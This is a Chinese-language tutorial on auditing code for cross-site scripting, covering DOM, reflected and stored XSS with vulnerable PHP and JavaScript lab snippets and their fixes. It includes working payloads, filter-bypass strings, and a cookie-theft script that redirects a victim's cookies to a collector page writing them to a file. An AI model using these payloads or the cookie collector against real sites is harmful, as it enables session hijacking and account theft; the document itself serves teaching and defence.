XSS(跨站脚本攻击)--代码审计

xiao1star2026-01-20文章来源:SecHub网络安全社区


XSS(跨站脚本攻击)

XSS的原理

服务端把用户输入的数据当成前端代码去执行(前端代码指的是是js)

条件

  1. 用户能够控制输入
  2. 原本程序要执行的代码,拼接了用户数据的数据

作用

  • 获取Cookie(最为频繁)
  • 获取内网IP
  • 获取浏览器保存的明文密码
  • 截取网页屏幕
  • 网页上的键盘记录

类型

反射型xss

提交的数据成果的实现了xss,但是仅仅对你这次访问产生了影响,是非持久型xss

存储型xss

提交的数据成功地实现了xss,存入了数据库,别人访问了这个页面的时候就会自动触发(留言框,工单)

Dom型xss

特殊的反射性xss

Dom型xss

何为dom

dom是一个树状的模型、可以通过javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。

Document对象使我们可以从脚本中对HTML页面中所有的元素进行访问

  • document.cookie–获取当前页面的Cookie
  • document.lastModified–获取当前页面的最后修改时间
  • document.write–向文档中写HTML或js代码(常见的存在xss的形式)
  • document.getElementById–通过id选择器来获取一个标签

202407171246340.png

常见的dom型xss攻击

案例1

<meta charset="utf-8"> <script> //document.URL获取当前页面完整的URL //在URL字符串中搜索子字符串"name="的位置,并返回该位置的索引(从0开始计数)。如果未找到,则返回-1。 var pos=document.URL.indexOf("name=")+5;//获取name=之后的索引位置 //unescape解码函数,被web开发弃用,因为它不支持所有unicode字符 var name=unescape(document.URL.substring(pos,document.URL.length));//获取从pos位置开始到URL末尾的字符串转码一下 var r='<b>'+name+'</b>'; document.write(r);//将我们输入的内容直接写入 HTML 文档中 </script>

当在url中输入?name=<script>alert(2)</script>,就会将其写到html中就会有弹窗

202407171901694.png

202407171855981.png

上述产生漏洞的原因就是因为将从url获取的内容直接使用document.write()直接插入到了html中,而攻击者输入攻击语句后会直接导致弹窗的出现

修复措施
<meta charset="utf-8"> <div id="output"></div> <script> //document.URL获取当前页面完整的URL //在URL字符串中搜索子字符串"name="的位置,并返回该位置的索引(从0开始计数)。如果未找到,则返回-1。 var pos = document.URL.indexOf("name=") + 5; //获取name=之后的索引位置 // 检查pos是否合法 if (pos > 4) { //unescape解码函数,被web开发弃用,因为它不支持所有unicode字符 var name = decodeURIComponent(document.URL.substring(pos, document.URL.length)); //获取从pos位置开始到URL末尾的字符串 // 使用textContent来防止XSS攻击 var outputElement = document.getElementById('output'); outputElement.textContent = name; } </script>

发现输入name=<script>alert</script>直接以文本的形式得到了输入内容,并回显到了页面上

202407171919623.png

案例2

<h1>hello</h1> <script> //location.hash 属性返回URL中#符号后面的部分(包括#符号),这部分通常用于页面内的导航(锚点) //substr方法的start参数是1,表示从索引1开始提取字符,直到字符串的末尾 var a=unescape(location.hash.substr(1)); console.log(a); eval(a);//会将传入的字符串当作JavaScript代码进行执行。 </script>

当在url中输入#alert(1)其中alert(1)就会被eval函数当作js代码执行

202407171902602.png

上述代码是因为获取的锚点后面的内容使用了eval函数直接进行执行,从而造成了漏洞利用

修复措施

上述代码最主要的造成xss的原因就是使用eval函数导致js代码直接被执行,可以通过替代eval函数

<h1>hello</h1> <script> var hashActions = { //定义了一个名为 hashActions 的对象,该对象包含两个属性(或称为“键”), //每个属性都关联了一个函数。这些属性(或键)是字符串 'action1' 和 'action2', //它们分别映射到两个简单的函数,这些函数在被调用时会在控制台输出不同的消息。 'action1': function() { console.log('Action 1 executed'); }, 'action2': function() { console.log('Action 2 executed'); } }; var action = location.hash.substr(1); //获取当前URL中 # 符号后面的部分 if (hashActions[action]) { hashActions[action](); } else { console.error('Unknown action:', action); } </script>

发现当输入#alert后直接会在控制台输出一个报错信息,而输入#action1这是代码中存在的相关函数,就会调用其中的函数,输出相关内容

202407171935193.png

202407171934798.png

onmouseover 事件发生在鼠标指针移动到元素或它的子元素上时。

反射型xss

提交的数据成果的实现了xss,但是仅仅对你这次访问产生了影响,不会输入到数据库中,是非持久型xss

打印语句

  • print
  • print_r
  • echo
  • printf
  • die
  • var_dump
  • var_export

常见函数

htmlspecialchars

把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体

htmlspecialchars(string,flags,character-set,double_encode)
  • string—>必需,规定要转义的字符串
  • flags—>可选,规定如何处理引号、无效的编码以及使用哪种文档类型
    • ENT_COMPAT - 默认。仅编码双引号。
    • ENT_QUOTES - 编码双引号和单引号。
    • ENT_NOQUOTES - 不编码任何引号。
  • character-set—>可选。一个规定了要使用的字符集的字符串。
  • double_encode—> 可选。布尔值,规定了是否编码已存在的 HTML 实体。

onmouseover 事件发生在鼠标指针移动到元素或它的子元素上时。

案例1

获取cookie

  1. 创建一个cookie.php,用于将获取到的cookie写入到一个txt中
<?php $cookie=$_GET["cookie"];//获取传入的cookie file_put_contents("cookie.txt",$cookie);//将cookie写到txt中 ?>

202407191750512.png

  1. 编写一段代码,用于得到当前页面的cookie值之后跳转到我们的cookie.php页面中
<script>document.location="http://127.0.0.1:81/dvwa/cookie.php?cookie="+document.cookie;</script>

202407191754414.png

成功获取到cookie值

202407191755720.png

案例2

leve2

<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>

分析上述代码通过get方式得到参数keyword,在echo时使用了 htmlspecialchars函数对变量进行转义,但是没有对input标签中的value值的变量进行转义,因此可以通过闭合双引号来进行xss攻击

payload: "><script>alert(1)</script>

202407181005553.png

leve3

<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>

与第二关相比在input表标签中也加入了htmlspecialchars的函数对变量的双引号和<> 进行转义,但是这个value使用的是单引号对变量进行包裹并没有对其进行转义,因此可以通过闭合单引号来实现工具

payload:' onmouseover=javascript:alert(123); (后面还有两个空格), 鼠标滑过文本框就会有弹窗

202407181022300.png

202407181022306.png

leve4

<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

使用了str_replace<>进行替换,可以通过不使用大于号小于号来实现xss,同时发现在第一个input标签中的value值使用了"进行包裹,但语句中并没有对"进行转义,因此可以通过闭合双引号来完成xss。

payload: " onmouseover=javascript:alert(123); (后面还有两个空格),鼠标滑过文本框就会有弹窗

202407181041723.png

"><a href=javascript:alert(1)>111</a>
"><a hrEf=javascript:alert(1)>111</a>
"><a hrhrefef=javascscriptript:alert(1)>111</a>

leve-9

<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?>

分析:上述代码对我们的keyword参数进行了script等参数的过滤,并且对双引号也进行了过滤,在input的value值中使用了htmlspecialchars来进行特殊字符的转义,同时如果参数中出现http://就会进行链接赋值,没有任何过滤,那么因为我们的攻击语句难免会出现上述黑名单中的内容就可以使用unicode编码来进行绕过处理

javascript=alert(12346)进行编码,之后再拼接上http://,使用//将其注释掉

最终的payload为

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; //http://

202407181523963.png

202407181519874.png

leve-10

<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); //" onmouseover=javascript:alert(123); //对str进行了htmlspecialchar($str)转义,并对其进行输出 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; //上述的form表单进行了hidden来隐藏了不会再页面中显示 ?>

分析:上述代码中不能以keyword进行入手点,而是通过t_sort作为入手点,但是其文本框是隐藏的我们无法进行操作,我们可以同在网页中将hidden给删除从而完成xss攻击

payload:

" onmouseover=javascript:alert(123);%20%20

202407181532942.png

修复

就拿leve2来说,漏洞的原因是因为没有对$str参数进行过滤,导致输入">使得input表单形成闭合,从而造成攻击,那么就可以通过使用htmlspecialchars($str,ENT_QUOTES)">进行转义

修复后代码

<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.htmlspecialchars($str,ENT_QUOTES).'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>

存储型xss

提交的数据成功地实现了xss,数据插入到了数据库,该数据需要在页面上回显,当别人访问了这个页面的时候就会自动触发(留言框,工单)


案例1(未对插入的数据进行过滤)

202407191653493.png

分析

  • 上述代码对插入的数据进行一系列的sql注入的防护,对输入的参数进行了sqli_real_escape_string()的操作,一些单引号和双引号进行了转义
  • 但是没有对参数进行一些<>等符号进行转义,当输入一些xss语句之后回显到页面上就会导致xss的实现

直接在message中输入<script> alert(1)</script>

案例2

<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>

分析

  • 对message进行了addlashes进行了单引号双引号等特殊符号的转义,使用strip_tags剥去了其中的 HTML、XML 以及 PHP 的标签,之后使用htmlspecialchars进行了<>的转义
  • name只是使用了一个正则,来防止sql注入,该正则* 代表一个或多个任意字符,i 代表不区分大小写。所以<script>标签在这里就不能用了,但可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

注意:在html中对name的长度有限制,对可以手动扩大name的长度

在name中输入<img src="x" onerror=alert(1)>

202407191827397.png

202407191827125.png

另外一些payload

<a herf=javascript:alert(123)>123</a>
<img%0asrc=1%0aonerror=alert(1)>
<img src="x" onerror=alert(1)>
οnclick=alert('xss')

httponly防御

 PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中
 ----------------------------------------------------- 
 session.cookie_httponly = 
 ----------------------------------------------------- 
设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启: 
 ----------------------------------------------------- 
 <?php
  ini_set("session.cookie_httponly", 1); 
 // or
  session_set_cookie_params(0, NULL, NULL, NULL, TRUE); 
 ?> 
 ----------------------------------------------------- 
Cookie操作函数setcookie函数和setrawcookie函数也专门添加了第7个参数来做为HttpOnly的选项,开启方法为: 
 ------------------------------------------------------- 
 setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE); 
 setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
 ------------------------------------------------------- 
 对于PHP5.1以前版本以及PHP4版本的话,则需要通过header函数来变通下了: 
 ------------------------------------------------------------- 
 <?php
  header("Set-Cookie: hidden=value; httpOnly");
  ?> 
 -------------------------------------------------------------